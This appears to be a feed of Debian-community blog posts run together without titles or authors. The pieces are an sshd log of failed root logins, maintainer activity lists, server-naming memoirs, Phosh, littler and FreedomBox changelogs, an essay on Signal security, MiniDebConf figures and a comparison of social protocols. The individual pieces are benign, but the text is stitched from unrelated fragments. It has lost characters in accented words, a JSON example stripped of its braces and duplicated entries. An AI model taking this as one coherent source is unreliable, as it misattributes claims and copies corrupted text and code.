debug1: kex_exchange_identification: banner line 0: Not allowed at this time

Apr 13 08:57:11 grml sshd-session[2135]: error: maximum authentication attempts exceeded for root from 10.100.15.42 port 55792 ssh2 [preauth]
Apr 13 08:57:11 grml sshd-session[2135]: Disconnecting authenticating user root 10.100.15.42 port 55792: Too many authentication failures [preauth]
Apr 13 08:57:12 grml sshd-session[2137]: error: maximum authentication attempts exceeded for root from 10.100.15.42 port 55800 ssh2 [preauth]
Apr 13 08:57:12 grml sshd-session[2137]: Disconnecting authenticating user root 10.100.15.42 port 55800: Too many authentication failures [preauth]
Apr 13 08:57:13 grml sshd-session[2139]: error: maximum authentication attempts exceeded for root from 10.100.15.42 port 55804 ssh2 [preauth]
Apr 13 08:57:13 grml sshd-session[2139]: Disconnecting authenticating user root 10.100.15.42 port 55804: Too many authentication failures [preauth]
Apr 13 08:57:13 grml sshd-session[2141]: error: maximum authentication attempts exceeded for root from 10.100.15.42 port 55810 ssh2 [preauth]
Apr 13 08:57:13 grml sshd-session[2141]: Disconnecting authenticating user root 10.100.15.42 port 55810: Too many authentication failures [preauth]
Apr 13 08:57:13 grml sshd[1417]: drop connection #0 from [10.100.15.42]:55818 on [10.100.15.230]:22 penalty: failed authentication
Apr 13 08:57:14 grml sshd[1417]: drop connection #0 from [10.100.15.42]:55824 on [10.100.15.230]:22 penalty: failed authentication
Apr 13 08:57:14 grml sshd[1417]: drop connection #0 from [10.100.15.42]:55838 on [10.100.15.230]:22 penalty: failed authentication
Apr 13 08:57:14 grml sshd[1417]: drop connection #0 from [10.100.15.42]:55854 on [10.100.15.230]:22 penalty: failed authentication

• debian-events-eu mailing list:
  • posted Debian BSP in Leuven, March/April
• debian-kernel mailing list:
  • posted Agenda items for kernel-team meeting on 2025-02-05
  • posted Agenda items for kernel-team meeting on 2025-02-26
  • replied to Package for development of out-of-tree kernel modules written in Rust
• Debian initramfs-tools package:
  • Merge requests:
    • opened and merged !156: tests: Add e2fsprogs to dependencies
    • merged !155: test: log commands that produce output on stdout
    • merged !148: netinfo_to_resolv_conf: add net_file to local variables
    • merged !147: netinfo_to_resolv_conf: clear variables between sourcing
    • merged !146: Explicitly call set -e instead of specifying on shebang
    • merged !144: fix shellcheck complaints in tests
    • reviewed !142: Handle simple-framebuffer drivers and framebuffer_coreboot built as modules
    • merged !139: hook-functions: make copy_libgcc to not take any parameters
    • closed !134: add losetup-rootfs-img script: boot from rootfs image files
• Debian linux package:
  • Bugs:
    • updated #1087807: linux-image-6.1.0-27-amd64: Unable to boot: i40e swiotlb buffer is full
    • updated #1093371: megaraid_sas didn t work anymore with Xen
    • updated #1087807: linux-image-6.1.0-27-amd64: Unable to boot: i40e swiotlb buffer is full
    • updated #825423: supermin + sbuild + linux-image = broken chroot
    • updated #1093371: megaraid_sas didn t work anymore with Xen
    • updated #1050578: linux-image-6.1.0-11-amd64: kernel disk device cache coherency issue: stale reads on /dev/sda1
  • Updated the bullseye-security branch to upstream version 5.10.234
  • Uploads:
    • uploaded version 5.10.234-1 to bullseye-security
    • uploaded linux-6.1 version 6.1.128-1~deb11u1 to bullseye-security
• stable mailing list:
  • posted [PATCH 5.4,4.10 1/2] perf cs-etm: Add missing variable in cs_etm__process_queues() (and several more times in this thread)

As Debian Project Leader, I have often reflected on how other Free Software distributions address challenges we all face. I am interested in discussing how we can learn from each other to improve our work and better serve our users. Recognizing my limited understanding of other distributions, I aim to bridge this gap through open knowledge exchange. My hope is to foster a constructive dialogue that benefits the broader Free Software ecosystem. Representatives of other distributions are encouraged to participate in this BoF whether as contributors or official co-speakers. My intention is not to drive the discussion from a Debian-centric perspective but to ensure that all distributions have an equal voice in the conversation.

• Exim mail server
• NNCP
• Verification and routing tools I wrote. Because NNCP packets are encrypted and signed, we get sender verification for free ; my tools ensure the From: header corresponds with the sending node.
• Automated nodelist tools; it will request daily nodelist updates and update its configurations accordingly, so new members can be communicated with
• Integration with the optional, opt-in Internet email bridge
It is open to all. The homepage has a more extensive list of features. I even have mailing lists running on NNCPNET; see the interesting addresses page for more details. There is extensive documentation, and of course the source to the whole thing is available. The gateway to Internet SMTP mail is off by default, but can easily be enabled for any node. It is a full participant, in both directions, with SPF, DKIM, DMARC, and TLS. You don t need any inbound ports for any of this. You don t need an always-on Internet connection. You don t even need an Internet connection at all. You can run it from your laptop and still use Thunderbird to talk to it via its optional built-in IMAP server.

• My years in Iztacala: I worked as a sysadmin between 1999 and 2003. When I arrived, we already had two servers, campus and tlali, and one computer pending installation, ollin. The credit for their names is not mine.
  • campus: A mighty SPARCstation 5! Because it was the main (and for some time, the only!) server in our campus.
  • tlali: A regular PC used as a Linux server. Tlali means something like lands in n huatl, the prehispanic language spoken in central Mexico. My workplace was Iztacala, which translates as the place where there are white houses ; tlali and cali are related words.
  • ollin: was a big IBM RS/6000 system running AIX. It came to us, probably already obsolete, as a (useless) donation from Fundaci n UNAM; I don t recall the exact model, but it looked very much like this one. Ran on AIX. We had no software for it, and frankly never really got it to be productive. Funnily, its name Ollin means movement in N huatl. I added some servers to the lineup during the two years I was in Iztacala:
  • tlamantli: An Alpha 21164 server that doubled as my desktop. Given the tradition in Iztacala of naming things in N huatl, but trying to be somewhat funny, tlamantli just means a thing; I understand the word is usually bound to a quantifier.
  • tepancuate: A regular PC system we set up with OpenBSD as a firewall. It means wall in N huatl.
• Following the first CONSOL (National Free Software Conference), I was invited to work as a programmer at UPN, Universidad Pedag gica Nacional in 2003 2004. There I was not directly in charge of any of the servers (I mostly used ajusco, managed by V ctor, named after the mountain on whose slopes our campus was). But my only computer there was:
  • shmate: , meaning old rag in yiddish. The word shmate is used like thingy, although it would usually mean old and slightly worn-out thingy. It was a quite nice machine, though. I had a Pentium 4 with 512MB RAM, not bad for 2003!
• I started my present work at Instituto de Investigaciones Econ micas, UNAM 20 years ago(!), in 2005. Here I am a systems administrator, so naturally I am in charge of the servers. And over the years, we have had a fair share of machines:
  • mosca: is my desktop. It has changed hardware several times (of course) over the years, but it s still the same Debian Sid install I did in January 2005 (I must have reinstalled once, when I got it replaced by an AMD64). Its name is the Spanish name for the common fly. I have often used it to describe my work, since I got in the early 1990s an automated bilingual translator called TRANSLATE; it came on seven 5.25 floppies. As a teenager, I somehow got my hands on a copy, and installed it in my 80386SX. Fed it its own README to see how it fared. And the first sentence made me burst in laughter: TRANSLATE performs on the fly translation TRADUCE realiza traducci n sobre la mosca . Starting then, I always think of on the fly as sobre la mosca . As Groucho said, I guess Time flies like an arrow, but fruit flies like a banana.
  • lafa When I got there, we didn t have any servers; for some time, I took one of the computer lab s systems to serve our web page and receive mail. But when we got some budget approved, we bought a fsckin-big server. Big as in four-rack-units. Double CPUs (not multicore, but two independent early Xeon CPUs, if I m not mistaken. Still, it was still a 32 bits system). (lafa) is a big, more flexible kind of Arab bread than pita; I loved it when I lived in Israel. And there is an album (and song) by Teapacks, an Israeli group I am very fond of, hajaim shelja belafa (your life in a lafa), saying, hey, brother! Your life is in a lafa. You throw everything in a big pita. You didn t have time to chew, you already swallowed it .
  • joma: Our firewall. means wall in Hebrew.
  • baktun: lafa was great, but over the years, it got old. After many years, I finally got the Institute to buy a second server. We got it in December 2012. There was a lot of noise around then because the world was supposed to end on 2012.12.21, as the Mayan calendar reached a full long cycle. This long cycle is called /baktun/. So, it was fitting as the name of the new server.
  • teom: As lafa was almost immediately decomissioned and turned into a virtual machine in the much bigger baktun,, I wanted to split services, make off-hardware backups, and such. Almost two years later, my request was approved and we bought a second server. But instead of buying it from a regular provider, we got it off a stash of machines bought by our university s central IT entity. To my surprise, it had the exact same hardware configuration as baktun, bought two years earlier. Even the serial number was absurdly close. So, I had it as baktun s long-lost twin. Hence, (transliterated as teom), the Hebrew word for twin. About a year after teom arrived to my life, my twin children were also born, but their naming followed a completely different logic process than my computers
• At home or on the road: I am sure I am missing several systems over the years.
  • pato: The earliest system I had that I remember giving a name to. I built a 80386SX in 1991, buying each component separately. The box had a 1-inch square for integrators to put their branding And after some time, I carefully printed and applied a label that said Catarm quina PATO (the first word, very small). Pato (duck) is how we d call a no-brand system. Catarm quina because it was the system where I ran my BBS, CatarSYS (1992-1994).
  • malenkaya: In 2008 I got a 9 Acer Aspire One netbook (Atom N270 i386, 1GB RAM). I really loved that machine! Although it was quite limited, it was my main computer while on the road for almost five years. malenkaya means small (for female) in Russian.
  • matlalli: After malenkaya started being too limited for my regular use, I bought its successor Acer Aspire One model. This one was way larger (10.1 inches screen) and I wasn t too happy about it at the beginning, but I ended up loving it. So much, in fact, that we bought at least four very similar such computers for us and our family members. This computer was dirt cheap, and endured five further years of lugging everywhere. matlalli is due to its turquoise color: it is the N huatl word for blue or green.
  • cajita: In 2014 I got a beautiful Cubox i4 Pro computer. It took me some time to get it to boot and be generally useful, but it ended up being my home server for many years, until I had a power supply malfunction which bricked it. cajita means little box in Spanish.
  • pitentzin: Another 10.1 Acer Aspire One (the last in the lineup; the CPU is a Celeron 877, so it does run AMD64, and it supports up to 16GB RAM, I think I have it with 12). We originally bought it for my family in Argentina, but they didn t really use it much, and after a couple of years we got it back. We decided it would be the computer for the kids, at least for the time being. And although it is a 2013 laptop, it s still our everyday media station driver. Oh, and the name pitentzin? N huatl for /children/.
  • tliltik: In 2018, I bought a second-hand Thinkpad X230. It was my daily driver for about three years. I reflashed its firmware with CoreBoot, and repeated the experience for seven people IIRC in DebConf18. With it, I learned to love the Thinkpad keyboard. Naturally for a thinkpad, tliltik means black in N huatl.
  • uesebe: When COVID struck, we were all sent home, and my university lent me a nice recently bought Intel i7 HP laptop. At first, I didn t want to mess up its Windows install (so I set up a USB-drive-based installation, hence the name uesebe); when it was clear the lockdown was going to be long (and that tliltik had too many aches to be used for my daily work), I transferred the install to its HDD and used it throughout the pandemic, until mid 2022.
  • bolex: I bought this computer for my father in 2020. After he passed away in May 2022, I took his computer, and named it bolex because that s the brand of the 8mm cinema camera he loved and had since 1955, and with which he created most of his films. It is really an entry-level machine, though (a single-core, dual-threaded Celeron), and it was too limited when I started distance-teaching again, so I had to store it as an emergency system.
  • yogurtu: During the pandemics, I spent quite a bit of time fiddling with the Raspberry Pi family. But all in all, while they are nice machines for many uses, they are too limited to be daily drivers. Or even enough for taking i.e. to Debconf and have them be my conference computer. I bought an almost-new-but-used ( 2 year old) Yoga C630 ARM laptop. I often brag about my happy experience with it, and how it brings a reasonably powerful ARM Linux system to my everyday life. In our last DebConf, I didn t even pick up my USB-C power connector every day; the battery just lasts over ten hours of active work. But I m not here doing ads, right? yogurtu naturally is derived from the Yoga brand it has, but is taken from Yogurtu Ngh , a fictional character by the Argentinian comical-musical group Les Luthiers, that has marked my life.
  • misnenet: Towards mid 2023, when it was clear that bolex would not be a good daily driver, and considering we would be spending six months in Argentina, I bought a new desktop system. It seems I have something for small computers: I decided for a refurbished HP EliteDesk 800 G5 Mini i7 system. I picked it because, at close to 18 18 3.5cm it perfectly fits in my DebConf18 bag. A laptop, it is clearly not, but it can easily travel with me when needed. Oh, and the name? Because for this model, HP uses different enclosures based on the kind of processor: The i3 model has a flat, black aluminum top But mine has lots of tiny holes, covering two areas of roughly 15 7cm, with a tiny hole every ~2mm, and with a solid strip between them. Of course, (misnenet, in Hebrew) means strainer.

• Fix swapped arguments in ABI check (MR)
• Sync packaging with Debian so testing packages becomes easier (MR)
• Fix crash when primary output goes away (MR)
• More consistent button press feedback (MR
• Undraft the lockscreen wallpaper branch (MR) - another ~2y old MR out of the way.
• Indicate ongoing WiFi scans (MR)
• Limit ABI compliance check to public headers (MR)
• Document most gsettings in a manpage (MR)
• (Hopefully) make integration test more robust (MR)
• Drop superfluous build invocation in CI by fixing the missing dep (MR)
• Fix top-panel icon size (MR)
• Release 0.46~rc1, 0.46.0
• Simplify adding new symbols (MR)
• Fix crash when taking screenshot on I/O starved system (MR)
• Split media-player and mpris-manger (MR)
• Handle Cell Broadcast notification categories (MR)

• xwayland: Allow views to use opacity: (MR)
• Track wlroots 0.19.x (MR)
• Initial support for workspaces (MR)
• Don't crash when gtk-layer-shell wants to reposition popups (MR)
• Some cleanups split out of other MRs (MR)
• Release 0.46~rc1, 0.46.0
• Add meson dist job and work around meson not applying patches in meson dist (MR, MR)
• Small render to allow Vulkan renderer to work (MR)
• Fix possible crash when closing applications (MR)
• Rename XdgSurface to XdgToplevel to prevent errors like the above (MR)

• Make switching into (and out of) symbol2 level more pleasant (MR)
• Simplify UI files as prep for the GTK4 switch (MR)
• Release 0.46~rc1, 0.46.0)

• Format meson files (MR)
• Allow to set lockscren wallpaper (MR)
• Allow to set maximum haptic feedback (MR)
• Release 0.46~rc1, 0.46.0
• Avoid warnings when running CI/autopkgtest (MR)

• Release 0.46.0

• Add search when opening files (MR)
• Show loading state when opening folders (MR)
• Move demo to its own folder (MR)
• Release 0.0.2

• Add some support for v2 of the notification portal (MR)
• Make two function static (MR)

• Add preview for lockscreen wallpapers (MR)
• Update to newer pfs to support search (MR)
• Release 0.46~rc1), 0.46.0
• Add initial support for notification portal v2 (MR) thus finally allowing flatpaks to submit proper feedback.
• Style consistency (MR, MR)
• Add Cell Broadcast categories (MR)

• Small release helper tweaks (MR)

• Allow for vibra patterns with different magnitudes (MR)
• Allow to tweak maximum haptic feedback strength (MR)
• Split out libfeedback.h and check more things in CI (MR)
• Tweak haptic in default profile a bit (MR)
• dev-vibra: Allow to use full magnitude range (MR)
• vibra-periodic: Use [0.0, 1.0] as ranges for magnitude (MR)
• Release 0.8.0, 0.8.1)
• Only cancel feedback if ever inited (MR)

• Increase button feedback for sarge (MR)

• Release 0.2.2
• Format and validate meson files (MR)

• Don't emit properties changed on position changes (MR)

• libmbim: Update to 1.31.95 (MR)
• libmbim: Upload to unstable and add autopkgtest (MR)
• libqmi: Update to 1.35.95 (MR)
• libqmi: Upload to unstable and add autopkgtest (MR)
• modemmanager: Update to 1.23.95 to experimental and add autopkgtest (MR)
• modemmanager: Upload to unstable (MR)
• modemmanager: Add missing nodoc build deps (MR)
• Package osmo-cbc: (Repo)
• feedbackd: Depend on adduser (MR)
• feedbackd: Release 0.8.0, 0.8.1
• feedbackd-device-themes: Release 0.8.0, 0.8.1
• phosh: Release 0.46~rc1, 0.46.0
• phoc: Release 0.46~rc1, 0.46.0
• phosh-osk-stub: Release 0.46~rc1, 0.46.0
• xdg-desktop-portal-phosh: Release 0.46~rc1, 0.46.0
• phosh-mobile-settings: Release 0.46~rc1, 0.46.0, fix autopkgtest
• phosh-tour: Release 0.46.0
• gmobile: Release 0.2.2-1
• gmobile: Ensure udev rules are applied on updates (MR)

• Ease creating packages from scratch and document that better (MR, Testcase MR)

• Tweak some haptic for oneplus,fajita (MR)
• Drop superfluous periodic feedbacks and cleanup CI (MR)

• xwm: Allow to set opacity (MR)

• Fix typos (MR)
• Add support for setting channels via libmm-glib and mmcli (MR)

• Set input-hint for OSK word completion (MR)

• Propose _NET_WM_WINDOW_OPACITY (which is around since ages) (MR)

• Help startup ordering (MR)

• phosh: Remove usage of phosh_ app_grid, overview handlesearch (MR)
• phosh: app-grid-button: Prepare for GTK 4 by using gestures and other migrations (MR) - merged
• phosh: valign search results (MR) - merged
• phosh: top-panel: Hide setting's details on fold (MR) - merged
• phosh: Show frame with an animation (MR) - merged
• phosh: Use gtk_widget_set_visible (MR) - merged
• phosh: Thumbnail aspect ration tweak (MR) - merged
• phosh: Add clang/llvm ci step (MR)
• mobile-broadband-provider-info: Bild APN (MR) - merged
• iio-sensor-proxy: Buffer driver probing fix (MR) - merged
• iio-sensor-proxy: Double free (MR) - merged
• debian: Autopkgtests for ModemManager (MR)
• debian: gitignore: phosh-pim debian build directory (MR)
• debian: Better autopkgtests for MM (MR) - merged
• feedbackd: tests: Depend on daemon for integration test (MR) - merged
• libcmatrix: Various improvements (MR)
• gmobile/hwdb: Add Sargo (MR) - merged
• gmobile/hwdb: Add xiaomi-daisy (MR) - merged
• gmobile/hwdb: Add SHIFT6mq (MR) - merged
• meta-posh: Add reproducibility check (MR) - merged
• git-buildpackage: Dependency fixes (MR) - merged
• git-buildpackage: Rename tracking (MR)

What makes communications secure? When most people are talking about secure communications, they mean some combination of these properties:

1. Privacy - nobody except the intended recipient can decode a message.
2. Authentication - guarantees that the person you are chatting with really is the intended recipient.
3. Ephemerality - preventing a record of the communication from being stored. That is, making it more like a conversation around the table than a written email.
4. Anonymity - keeping your set of contacts to yourself and even obfuscating the fact that communications are occurring.

If you think about it, most people care the most about the first two. In fact, authentication is a key part of privacy. There is an attack known as man in the middle in which somebody pretends to be the intended recipient. The interceptor reads the messages, and then passes them on to the real intended recipient. So we can t really have privacy without authentication. I ll have more to say about these later. For now, let s discuss attack scenarios.

What compromises security? There are a number of ways that security can be compromised. Let s think through some of them:

Communications infrastructure snooping Let s say you used no encryption at all, and connected to public WiFi in a coffee shop to send your message. Who all could potentially see it?

• The owner of the coffee shop s WiFi
• The coffee shop s Internet provider
• The recipient s Internet provider
• Any Internet providers along the network between the sender and the recipient
• Any government or institution that can compel any of the above to hand over copies of the traffic
• Any hackers that compromise any of the above systems

Back in the early days of the Internet, most traffic had no encryption. People were careful about putting their credit cards into webpages and emails because they knew it was easy to intercept them. We have been on a decades-long evolution towards more pervasive encryption, which is a good thing. Text messages (SMS) follow a similar path to the above scenario, and are unencrypted. We know that all of the above are ways people s texts can be compromised; for instance, governments can issue search warrants to obtain copies of texts, and China is believed to have a persistent hack into western telcos. SMS fails all four of our attributes of secure communication above (privacy, authentication, ephemerality, and anonymity). Also, think about what information is collected from SMS and by who. Texts you send could be retained in your phone, the recipient s phone, your phone company, their phone company, and so forth. They might also live in cloud backups of your devices. You only have control over your own phone s retention. So defenses against this involve things like:

• Strong end-to-end encryption, so no intermediate party even the people that make the app can snoop on it.
• Using strong authentication of your peers
• Taking steps to prevent even app developers from being able to see your contact list or communication history

You may see some other apps saying they use strong encryption or use the Signal protocol. But while they may do that for some or all of your message content, they may still upload your contact list, history, location, etc. to a central location where it is still vulnerable to these kinds of attacks. When you think about anonymity, think about it like this: if you send a letter to a friend every week, every postal carrier that transports it even if they never open it or attempt to peak inside will be able to read the envelope and know that you communicate on a certain schedule with that friend. The same can be said of SMS, email, or most encrypted chat operators. Signal s design prevents it from retaining even this information, though nation-states or ISPs might still be able to notice patterns (every time you send something via Signal, your contact receives something from Signal a few milliseconds later). It is very difficult to provide perfect anonymity from well-funded adversaries, even if you can provide very good privacy.

Device compromise Let s say you use an app with strong end-to-end encryption. This takes away some of the easiest ways someone could get to your messages. But it doesn t take away all of them. What if somebody stole your phone? Perhaps the phone has a password, but if an attacker pulled out the storage unit, could they access your messages without a password? Or maybe they somehow trick or compel you into revealing your password. Now what? An even simpler attack doesn t require them to steal your device at all. All they need is a few minutes with it to steal your SIM card. Now they can receive any texts sent to your number - whether from your bank or your friend. Yikes, right? Signal stores your data in an encrypted form on your device. It can protect it in various ways. One of the most important protections is ephemerality - it can automatically delete your old texts. A text that is securely erased can never fall into the wrong hands if the device is compromised later. An actively-compromised phone, though, could still give up secrets. For instance, what if a malicious keyboard app sent every keypress to an adversary? Signal is only as secure as the phone it runs on but still, it protects against a wide variety of attacks.

Untrustworthy communication partner Perhaps you are sending sensitive information to a contact, but that person doesn t want to keep it in confidence. There is very little you can do about that technologically; with pretty much any tool out there, nothing stops them from taking a picture of your messages and handing the picture off.

Environmental compromise Perhaps your device is secure, but a hidden camera still captures what s on your screen. You can take some steps against things like this, of course.

Human error Sometimes humans make mistakes. For instance, the reason a reporter got copies of messages recently was because a participant in a group chat accidentally added him (presumably that participant meant to add someone else and just selected the wrong name). Phishing attacks can trick people into revealing passwords or other sensitive data. Humans are, quite often, the weakest link in the chain.

Protecting yourself So how can you protect yourself against these attacks? Let s consider:

• Use a secure app like Signal that uses strong end-to-end encryption where even the provider can t access your messages
• Keep your software and phone up-to-date
• Be careful about phishing attacks and who you add to chat rooms
• Be aware of your surroundings; don t send sensitive messages where people might be looking over your shoulder with their eyes or cameras

There are other methods besides Signal. For instance, you could install GnuPG (GPG) on a laptop that has no WiFi card or any other way to connect it to the Internet. You could always type your messages on that laptop, encrypt them, copy the encrypted text to a floppy disk (or USB device), take that USB drive to your Internet computer, and send the encrypted message by email or something. It would be exceptionally difficult to break the privacy of messages in that case (though anonymity would be mostly lost). Even if someone got the password to your secure laptop, it wouldn t do them any good unless they physically broke into your house or something. In some ways, it is probably safer than Signal. (For more on this, see my article How gapped is your air?) But, that approach is hard to use. Many people aren t familiar with GnuPG. You don t have the convenience of sending a quick text message from anywhere. Security that is hard to use most often simply isn t used. That is, you and your friends will probably just revert back to using insecure SMS instead of this GnuPG approach because SMS is so much easier. Signal strikes a unique balance of providing very good security while also being practical, easy, and useful. For most people, it is the most secure option available. Signal is also open source; you don t have to trust that it is as secure as it says, because you can inspect it for yourself. Also, while it s not federated, I previously addressed that.

Government use If you are a government, particularly one that is highly consequential to the world, you can imagine that you are a huge target. Other nations are likely spending billions of dollars to compromise your communications. Signal itself might be secure, but if some other government can add spyware to your phones, or conduct a successful phishing attack, you can still have your communications compromised. I have no direct knowledge, but I think it is generally understood that the US government maintains communications networks that are entirely separate from the Internet and can only be accessed from secure physical locations and secure rooms. These can be even more secure than the average person using Signal because they can protect against things like environmental compromise, human error, and so forth. The scandal in March of 2025 happened because government employees were using Signal rather than official government tools for sensitive information, had taken advantage of Signal s ephemerality (laws require records to be kept), and through apparent human error had directly shared this information with a reporter. Presumably a reporter would have lacked access to the restricted communications networks in the first place, so that wouldn t have been possible. This doesn t mean that Signal is bad. It just means that somebody that can spend billions of dollars on security can be more secure than you. Signal is still a great tool for people, and in many cases defeats even those that can spend lots of dollars trying to defeat it. And remember - to use those restricted networks, you have to go to specific rooms in specific buildings. They are still not as convenient as what you carry around in your pocket.

Conclusion Signal is practical security. Do you want phone companies reading your messages? How about Facebook or X? Have those companies demonstrated that they are completely trustworthy throughout their entire history? I say no. So, go install Signal. It s the best, most practical tool we have.

---

This post is also available on my website, where it may be periodically updated.

Changes in littler version 0.3.21 (2025-03-24)

• Changes in examples scripts
  • Usage text for ciw.r is improved, new options were added (Dirk)
  • The noble release is supported by r2u.r (Dirk)
  • The installRub.r script has additional options (Dirk)
  • The ttlt.r script has a new load_package argument (Dirk)
  • A new script deadliners.r showing CRAN packages 'under deadline' has been added, and then refined (Dirk)
  • The kitten.r script can now use whoami and argument githubuser on the different *kitten helpers it calls (Dirk)
  • A new script wb.r can upload to win-builder (Dirk)
  • A new script crup.r can upload a CRAN submission (Dirk)
  • In rcc.r, the return from rcmdcheck is now explicitly printed (Dirk)
  • In r2u.r the dry-run option is passed to the build command (Dirk)
• Changes in package
  • Regular updates to badges, continuous integration, DESCRIPTION and configure.ac (Dirk)
  • Errant osVersion return value are handled more robustly (Michael Chirico in #121)
  • The current run-time path is available via variable LITTLER_SCRIPT_PATH (Jon Clayden in #122)
  • The cleanup script remove macOS debug symbols (Jon Clayden in #123)

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can sponsor me at GitHub.

• A number of translations were updated, including Albanian, Arabic, Belarusian, Bulgarian, Chinese (Simplified Han script), Chinese (Traditional Han script), Czech, Dutch, French, German, Hindi, Japanese, Norwegian Bokm l, Polish, Portuguese, Russian, Spanish, Swedish, Telugu, Turkish, and Ukrainian.
• Fix cases where a package or service is used by multiple apps, so that disabling or uninstalling one app does not affect the other app.
• When uninstalling an app, purge the packages, to remove all data and configuration.
• For configuration files that need to be placed into folders owned by other packages, we now install these files under /usr/share/freedombox/etc/, and create a symbolic link to the other package s configuration folder. This prevents the files being lost when other packages are purged.
• Add an action to re-run the setup process for an app. This can fix many of the possible issues that occur.
• Various improvements related to the "force upgrade" feature, which handles upgrading packages with conffile prompts.
• Fix install/uninstall issues for apps that use MySQL database (WordPress, Zoph).
• Improve handling of file uploads (Backups, Feather Wiki, Kiwix).
• Switch to Bootstrap 5 front-end framework.
• Removed I2P app, since the i2p package was removed from Debian.
• Various user interface changes, including:
  • Add tags for apps, replacing short descriptions. When a tag is clicked, search and filter for one or multiple tags.
  • Organize the System page into sections.
  • Add breadcrumbs for page hierarchy navigation.
  • Add next steps page after initial FreedomBox setup.

• Add diagnostic checks to detect common errors.
• Add diagnostics daily run, with notifications about failures.
• Add Repair action for failed diagnostics, and option for automatic repairs.

• Move hostname and domain name configuration to Names page.
• Support multiple static and/or dynamic domains.
• Use systemd-resolved for DNS resolution.
• Add options for setting global DNS-over-TLS and DNSSEC preferences.

• Add more options for IPv6 configuration method.
• Overhaul Wi-Fi networks scan page.

• Add option to disable fallback DNS servers.
• Add option to set the lookup URL to get the public IP address of the FreedomBox.

• Delete or move home folder when user is deleted or renamed.
• When a user is inactivated, also inactivate the user in LDAP.

• This BitTorrent client app should be available once again in Debian 13 "trixie".

• Turn on Message Archive Management setting by default, to help various XMPP clients use it.

• Add new app for note taking.
• This app lives in a single HTML file, which is downloaded from the FreedomBox website.

• Disable snapshot feature, due to high resource use.
• Various fixes for repository operations.

• Add new app to provide a graphical desktop environment.
• Requires a monitor, keyboard, and mouse to be physically connected to the FreedomBox.
• Not suitable for low-end hardware.

• Disable discussion pages by default for new wiki/blog, to avoid spam.

• Add new app for offline reader of Wikipedia and other sites.

• Add an option for token-based registration verification, so that users signing up for new accounts will need to provide a token during account registration.

• Allow setting the site language code.
• Increase PHP maximum execution time to 100 seconds.

• Add media directory selection form.

• Add new app for reading news from RSS/ATOM feeds.

• Add new app for file sync and collaboration.
• Uses a Docker container maintained by the Nextcloud community. The container is downloaded from FreedomBox container registry.

• Renew server/client certificates, and set expiry to 10 years.

• Fix DKIM signing.
• Show DNS entries for all domains.

• Add new app for censorship resistance, separate from Shadowsocks Client app.

• Add new app for groupware (webmail, calendar, tasks, and contacts).
• Works with Postfix/Dovecot email server app.

• Add new app for note taking.
• This app lives in a single HTML file, which is downloaded from the FreedomBox website.

• Add new app for Tor SOCKS proxy, separate from Tor app.

• Allow remote user interfaces to connect.

• [1] https://en.wikipedia.org/wiki/Lemmy_(social_network)
• [2] https://github.com/lemmygtk/lemoa
• [3] https://github.com/theycallhermax/lemonade

• 06 rooms in parallel on Saturday;
• 02 auditoriums in parallel on Monday and Tuesday;
• 30 talks/BoFs of all levels;
• 05 workshops for hands-on activities;
• 09 lightning talks on general topics;
• 01 Live Electronics performance with Free Software;
• Install fest to install Debian on attendees' laptops;
• BSP (Bug Squashing Party);
• Uploads of new or updated packages.

• Total people registered: 399
• Total attendees in the event: 224

• Food: 69
• Accommodation: 20
• Travel: 18

• Youtube - Peertube
• video.debian.net And see the photos taken by several collaborators in the links below:
• Google photos
• Nextcloud

• Collabora

• Jedai.ai
• Toradex Brasil
• Globo.com
• Policorp Tecnologia

• BRDSoft - Tecnologias para TI e Telecomunica es
• EITA - Cooperativa de Trabalho Educa o, Informa o e Tecnologia para Autogest o Supporters
• ICTL - Instituto para Conserva o de Tecnologias Livres - Nazinha Alimentos
• DACOMPSI

• Projeto Debian
• Comunidade Debian Brasil
• Comunidade Debian MG
• DCC/UFMG - Departamento de Ci ncia da Computa o da Universidade Federal de Minas Gerais

Comparison of architecture and mainstream adoption potential

Protocol	Identity System	Example	Storage model	Cost for end users	Potential
Mastodon	Tied to server domain	@ottok@mastodon.social	Federated instances	Free (some instances charge)	High
Bluesky	Portable (DID)	ottoke.bsky.social	Federated instances	Free	Moderate
Farcaster	ENS (Ethereum)	@ottok	Blockchain + off-chain	Small gas fees	Moderate
Lens	NFT-based (Polygon)	@ottok	Blockchain + off-chain	Small gas fees	Niche
Nostr	Cryptographic Keys	npub16lc6uhqpg6dnqajylkhwuh3j7ynhcnje508tt4v6703w9kjlv9vqzz4z7f	Federated instances	Free (some instances charge)	Niche

1. Mastodon (ActivityPub) Mastodon was created in 2016 by Eugen Rochko, a German software developer who sought to provide a decentralized and user-controlled alternative to Twitter. It was built on the ActivityPub protocol, now standardized by W3C Social Web Working Group, to allow users to join independent servers while still communicating across the broader Mastodon network. Mastodon operates on a federated model, where multiple independently run servers communicate via ActivityPub. Each server sets its own moderation policies, leading to a decentralized but fragmented experience. The servers can alternatively be called instances, relays or nodes, depending on what vocabulary a protocol has standardized on.

• Identity: User identity is tied to the instance where they registered, represented as @username@instance.tld.
• Storage: Data is stored on individual instances, which federate messages to other instances based on their configurations.
• Cost: Free to use, but relies on instance operators willing to run the servers.

The protocol defines multiple activities such as:

• Creating a post
• Liking
• Sharing
• Following
• Commenting

Example Message in ActivityPub (JSON-LD Format)

json Copy

"@context": "https://www.w3.org/ns/activitystreams", "type": "Create", "actor": "https://mastodon.social/users/ottok", "object": "type": "Note", "content": "Hello from #Mastodon!", "published": "2025-03-03T12:00:00Z", "to": ["https://www.w3.org/ns/activitystreams#Public"]

 
 "@context": "https://www.w3.org/ns/activitystreams",
 "type": "Create",
 "actor": "https://mastodon.social/users/ottok",
 "object":  
 "type": "Note",
 "content": "Hello from #Mastodon!",
 "published": "2025-03-03T12:00:00Z",
 "to": ["https://www.w3.org/ns/activitystreams#Public"]
  
 

Servers communicate across different platforms by publishing activities to their followers or forwarding activities between servers. Standard HTTPS is used between servers for communication, and the messages use JSON-LD for data representation. The WebFinger protocol is used for user discovery. There is however no neat way for home server discovery yet. This means that if you are browsing e.g. Fosstodon and want to follow a user and press Follow, a dialog will pop up asking you to enter your own home server (e.g. mastodon.social) to redirect you there for actually executing the Follow action on with your account. Mastodon is open source under the AGPL at github.com/mastodon/mastodon. Anyone can operate their own instance. It just requires to run your own server and some skills to maintain a Ruby on Rails app with a PostgreSQL database backend, and basic understanding of the protocol to configure federation with other ActivityPub instances.

